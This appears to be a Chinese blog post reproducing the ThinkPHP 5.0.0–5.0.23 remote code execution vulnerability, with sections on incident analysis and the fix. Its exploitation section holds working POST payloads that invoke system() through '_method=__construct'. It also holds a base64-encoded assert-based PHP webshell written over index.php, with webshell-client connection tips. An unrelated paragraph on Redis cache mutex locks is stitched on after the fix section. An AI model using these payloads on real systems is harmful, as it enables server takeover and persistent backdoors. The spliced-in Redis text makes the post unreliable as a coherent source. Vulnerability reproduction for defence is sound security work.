ThinkPHP 5.0.5~5.0.23 远程代码执行漏洞复现及排查

目录

一、概述

二、影响范围及使用条件

三、漏洞利用

 四、应急分析

五、漏洞修复


一、概述

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST[‘_method’]变量,却没有对$_POST[‘_method’]属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。

二、影响范围及使用条件

1、范围

受影响版本:Think PHP 5.0.0-5.0.23
不受影响版本:Think PHP 5.0.24

2、利用条件

版本名是否可被攻击攻击条件
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.0.6
5.0.7
5.0.8无需开启debug
5.0.9无需开启debug
5.0.10无需开启debug
5.0.11无需开启debug
5.0.12无需开启debug
5.0.13需开启debug
5.0.14需开启debug
5.0.15需开启debug
5.0.16需开启debug
5.0.17需开启debug
5.0.18需开启debug
5.0.19需开启debug
5.0.20
5.0.21需开启debug
5.0.22需开启debug
5.0.23需开启debug

三、漏洞利用

1、漏洞poc,网页上构造post包:

利用点:
http://192.168.52.131:8080/index.php?s=captcha

data部分:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

或者:
_method=__construct&filter[]=system&method=get&get[]=pwd

2、使用burpsuite抓包分析,成功响应

3、这里如何getshell呢?

(1)通过覆盖index.php文件内容的方式(因为这里是一定存在index.php文件的,但是存在风险,一旦覆盖后又无法利用,会导致漏洞无法使用)

因为存在过滤,这里我们使用base64加密数据写入shell,同时eval函数没法注入,这里选择assert函数。

#postdata数据
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ2FkbWluJ10pOz8+YmJi== | base64 -d > index.php

 使用蚁剑连接shell,注意要选择char16和base64

 (2)或者选择建立一个新的文件,将内容写入新文件中(建议)

#POST数据:
_method=__construct&filter[]=system&method=get&get[]=echo  "<?php phpinfo();  >"  > test.php

 四、应急分析

那么,在遭受攻击时,我们可以通过哪些角度去分析是否遭受攻击呢?

1、从流量侧分析

如果存在流量监控软件的话,通过分析流量包是可以监测还原整个攻击流程的。

在如下数据包中,发现攻击者先用ls探测了服务器根目录下有哪些文件,由于回包是分块传输,看起来不怎么友好,但是还是能知道是利用成功的

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.52.131:8080
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.52.131:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.52.131:8080/index.php?s=captcha
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

探测完当前目录的文件后,开始查看当前路径

接下来是尝试写入phpinfo脚本文件

总体来说,从流量侧是可以排查到攻击路径的。

2、从日志侧分析

如果没有其他可利用的设备,那么web本身的日志文件是个很重要的排查依据。

因为我这里是docker搭建的靶场环境,所以并没有保存对应的日志文件。正常来说是access.log和/var/www/runtime/log/下文件,里面包含时间,来源IP、URL、请求方式(get、post、put等)、包大小、状态码。

五、漏洞修复

 升级到5.0.24及以上,不用开启debug模式。

在处理Redis缓存击穿问题时,可以采用互斥锁的方式进行解决。互斥锁是一种机制,用于保护共享资源的访问,确保同一时刻只有一个线程能够获取锁来执行操作。在Redis缓存击穿的场景中,当一个高并发的请求发生时,如果缓存中不存在所需的数据,那么这个请求就会触发数据库的查询操作。 针对这种情况,我们可以引入互斥锁的概念来解决Redis缓存击穿问题。具体做法是,在查询缓存之前,先尝试获取互斥锁。如果获取到了锁,表示当前线程是第一个发起请求的线程,它可以继续执行查询数据库的操作,并将结果写入缓存。而其他线程在获取锁之前,只能等待一段时间后再次尝试获取锁。 为了实现这个逻辑,我们可以定义获取互斥锁的方法和释放锁的方法。获取互斥锁的方法可以使用Redis提供的setIfAbsent()方法来进行操作,设置一个键值对,如果该键不存在,则设置成功,并返回true;否则,返回false。释放锁的方法则是删除相应的键值对。 通过使用互斥锁,能够在高并发的情况下有效地控制对数据库的访问,避免出现缓存击穿的问题。这种方案在逻辑上实现了对缓存穿透和击穿的处理,并且可以封装为一个工具类,适用于各种场景。 引用内容: 代码片段,定义了获取互斥锁和释放锁的方法 Redis缓存穿透和击穿的处理方案 描述了使用互斥锁来解决缓存击穿问题的过程 提到了缓存击穿问题的本质和影响,引用了一个Redis教程中的PPT内容<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值